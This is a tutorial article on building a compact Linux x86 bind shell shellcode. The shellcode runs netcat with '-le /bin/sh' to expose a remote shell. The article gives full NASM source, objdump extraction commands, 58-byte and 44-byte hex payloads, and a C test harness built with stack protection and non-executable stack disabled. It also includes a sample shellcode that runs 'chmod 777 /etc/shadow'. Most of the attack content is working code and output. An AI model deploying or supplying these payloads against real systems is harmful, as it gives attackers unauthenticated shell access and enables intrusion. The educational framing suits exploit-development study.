Unix

Minimal Linux x86 Bind Shell Shellcode: Building a 44-Byte Payload

You probably know that almost every exploit includes so‑called shellcode that runs when the exploit fires. At first glance, it might seem that writing shellcode is only for the chosen few—you’d have to “master the Zen of bytecode,” so to speak. But it’s not that scary. In this article, I’ll show how to write a simple bind shellcode, then we’ll refine it and make it one of the most compact of its kind.

Shellcode is a set of machine instructions that provides access to a command interpreter (cmd.exe on Windows and a shell on Linux—the origin of the term). More broadly, shellcode refers to any code used as an exploit payload: a sequence of machine instructions executed by a vulnerable application. In some cases, it can be as simple as a system command like chmod 777 /etc/shadow.

x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73
x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01
xcdx80x40xcdx80

A bit of theory

I’m sure many of our readers are already familiar with the fundamentals I plan to cover in the theory section, but let’s not forget the hackers who’ve only recently joined us and try to make it easier for them to get up to speed in this challenging field.

System Calls

System calls provide the interface between user space (user mode) and kernel space (kernel mode) and are used for a wide range of tasks, such as executing programs, performing I/O, and reading and writing files.

To invoke a system call in assembly, you load the appropriate syscall number along with its arguments into the designated registers.

Registers

Registers are special storage locations inside the CPU that are accessed by name (unlike main memory). They’re used to hold data and addresses. We’ll be focusing on the general-purpose registers: EAX, EBX, ECX, EDX, ESI, EDI, EBP, and ESP.

The Stack

The stack is a region of a program’s memory used for temporary data storage. It’s important to remember that the stack operates in reverse order (last in, first out). A stack overflow is a fairly common vulnerability that can allow an attacker to overwrite a function’s return address with the address of injected shellcode.

The Null Byte Problem

Many string-handling functions use a null byte to terminate a string.

Therefore, if a null byte appears in the shellcode, everything after it will be ignored and the code won’t run—something you need to account for.

Tools we’ll need

  • Debian Linux (x86/x86_64) — although we’ll be writing x86 code, building on an x86_64 machine shouldn’t cause any issues.
  • NASM — a free assembler for the Intel x86 architecture (LGPL and BSD licensed).
  • ld — the linker.
  • objdump — a utility for inspecting binaries; we’ll use it to extract raw machine-code bytes from an executable.
  • GCC — the compiler.
  • strace — a tool for tracing system calls.

If we were building a bind shell the classic way, we’d have to invoke the socketcall() network system call multiple times.

  • net.h/SYS_SOCKET — to create a socket;
  • net.h/SYS_BIND — to bind the socket to an IP address and port;
  • net.h/SYS_LISTEN — to start listening for incoming connections;
  • net.h/SYS_ACCEPT — to start accepting connections.

In the end, our shellcode would end up fairly large. Depending on the implementation, it averages around 70 bytes, which isn’t much… But let’s not forget our goal—write the most compact shellcode possible, which we’ll achieve by leveraging netcat!

Why Shellcode Size Matters

You’ve probably heard that buffer overflow exploits rely on control-flow hijacking: the attacker overwrites a function’s return address with the address where their shellcode resides. The shellcode size is constrained and can’t exceed a certain limit.

Code

We’ll write the shellcode in pure assembly and test it from a C program. Our scaffold, bind_shell_1.nasm, split into logical sections for clarity, looks like this:

; Block 1
section .text
global _start
_start:
; Block 2
xor edx, edx
push edx
push 0x35343332 ; -vp12345
push 0x3170762d
mov esi, esp
; Block 3
push edx
push 0x68732f2f ; -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
; Block 4
push edx
push 0x636e2f2f ; /bin//nc
push 0x6e69622f
mov ebx, esp
; Block 5
push edx
push esi
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al,11
int 0x80

Save it as super_small_bind_shell_1.nasm and then compile it:

$ nasm -f elf32 super_small_bind_shell_1.nasm

and then we’ll link our code:

$ ld -m elf_i386 super_small_bind_shell_1.o -o super_small_bind_shell_1

and run the resulting program under strace to see what it does:

$ strace ./super_small_bind_shell_1
Running the bind shell under strace
Running the bind shell under strace

As you can see, there’s nothing magical here. The execve() system call launches netcat, which starts listening on port 12345 and exposes a remote shell on the machine. In our case, we used execve() to run the /bin/nc binary with the required arguments (-le/bin/sh -vp12345).

execve() has the following prototype:

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename usually points to the path of the executable binary — /bin/nc.
  • argv[] is a pointer to the argument array, including the executable name — ["/bin//nc", "-le//bin//sh", "-vp12345"].
  • envp[] points to the environment array. In our case it’s NULL since we’re not using it.

The syntax for our system call (function) is as follows:

execve("/bin//nc", ["/bin//nc", "-le//bin//sh", "-vp12345"], NULL)

Invoking system calls in assembly

As mentioned at the beginning of the article, a system call is selected by its number (for x86 you can find the numbers here: /usr/include/x86_64-linux-gnu/asm/unistd_32.h), which must be placed in the EAX register. In our case, we put the value 11 into EAX—more precisely, into its low byte AL—which corresponds to the execve() system call.

Function arguments must be loaded into the EBX, ECX, and EDX registers:

  • EBX — must point to the filename string “/bin//nc”
  • ECX — must point to the argv[] array: “/bin//nc” “-le//bin//sh” “-vp12345”
  • EDX — must be NULL for envp[]

We used the ESI and EDI registers as temporary storage to stage the execve() arguments onto the stack in the required order, so that in block 5 (see code above) we can move into ECX a pointer (more precisely, a pointer to a pointer) to the argv[] array.

Let’s Dive Into the Code

Let’s break the code down block by block.

Block 1 speaks for itself and is used to define the section that contains executable code and to tell the linker where the program’s entry point is.

section .text
global _start
_start:

Module 2

xor edx, edx

We clear the EDX register; its NULL value will be used for envp[] and as the string terminator for the strings we push onto the stack. We zero it via XOR, since using mov edx, 0 would introduce null bytes into the shellcode, which is unacceptable.

push edx ; Push the string terminator onto the stack
push 0x35343332 ; Push the string -vp12345 onto the stack
push 0x3170762d
mov esi, esp ; Load ESI with the address of the -vp12345 string on the stack

Important!

We push the execve() arguments onto the stack in reverse (right to left), because the stack grows from higher to lower addresses, while data is read back in the opposite direction—from lower to higher addresses.

To reverse a string and convert it to hex, you can use the following Linux command:

$ echo -n '-vp12345' | rev | od -A n -t x1 |sed 's/ /x/g
x35x34x33x32x31x70x76x2d`

Block 3

push edx ; Push the string terminator onto the stack
push 0x68732f2f ; Push the string -le//bin//sh onto the stack
push 0x6e69622f
push 0x2f656c2d
mov edi, esp ; Load into EDI the address of the -le//bin//sh string on the stack

You’ve probably noticed the odd-looking path to the binary with double slashes. That’s intentional: it pads the added bytes to a multiple of four, letting us avoid the null byte. Linux ignores redundant slashes, so /bin/nc and /bin//nc resolve to the same path.

Module 4

push edx ; Push the string terminator onto the stack
push 0x636e2f2f ; Push the string /bin//nc onto the stack (filename)
push 0x6e69622f
mov ebx, esp ; Move into EBX the address of the /bin//nc string on the stack

Block 5

push edx ; Push the null terminator onto the stack
push esi ; Push the address of the string -vp12345 onto the stack
push edi ; Push the address of the string -le//bin//sh onto the stack
push ebx ; Push the address of the string /bin//nc onto the stack
mov ecx, esp ; Put into ECX the stack address pointing to argv[] (pointer to pointer)
xor eax, eax ; Zero out EAX
mov al,11 ; Load 11 (execve syscall number) into the low byte

Why AL and not EAX? EAX is a 32-bit register. Its lower 16 bits are accessible as AX, which in turn splits into two bytes: the low byte (AL) and the high byte (AH). By writing the value into AL, we avoid null bytes that would appear if we put 11 into EAX (it would be 0x0000000B).

Extracting the Shellcode

To finally extract the long-awaited shellcode from the file, we’ll use the following Linux command:

$ objdump -d ./super_small_bind_shell_1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

and we end up with the following neat shellcode:

x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68
x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62
x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80

Testing

For our tests, we’ll use the following C program:

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68"
"x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62"
"x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80";
main()
{
printf("Shellcode Length: %dn",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}

Compile. NB! If you’re on an x86_64 system, you might need to install g++-multilib:

# apt-get install g++-multilib
$ gcc -m32 -fno-stack-protector -z execstack checker.c -o checker

Run it:

$ ./checker
Testing the bind shell
Testing the bind shell

Heh, looks like our shellcode works: it’s 58 bytes long, and netcat opens a shell on port 12345.

Optimizing for size

58 bytes is pretty good, but if you check the shellcode section on exploit-db.com, you can find even smaller ones—for example, this one is 56 bytes.

Can we make our code significantly more compact?

Yes. By removing the block that specifies the port number. In this setup, netcat will still listen on the network and give us a shell. However, we’ll now have to find the port number using nmap. Our updated code will look like this:

section .text
global _start
_start:
xor edx, edx
push edx
push 0x68732f2f ; -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
push edx
push 0x636e2f2f ; /bin//nc
push 0x6e69622f
mov ebx, esp
push edx
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al,11
int 0x80

Compiling:

$ nasm -f elf32 super_small_bind_shell_2.nasm

Links:

$ ld -m elf_i386 super_small_bind_shell_2.o -o super_small_bind_shell_2

Extracting the shellcode:

$ objdump -d ./super_small_bind_shell_2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52
x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b
xcdx80

Let’s check:

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52"
"x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b"
"xcdx80";
main()
{
printf("Shellcode Length: %dn",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
$ gcc -m32 -fno-stack-protector -z execstack checker2.c -o checker2
$ ./checker2
Shellcode Length: 44

Now let’s try to connect and get remote shell access. Using Nmap, we’ll determine which port our shell is listening on, then connect to it with the same netcat:

Checking the bind shell again
Checking the bind shell again

Bingo! Mission accomplished: we’ve built one of the most compact Linux x86 bind shellcodes. See? Nothing to it 😉

it? Share: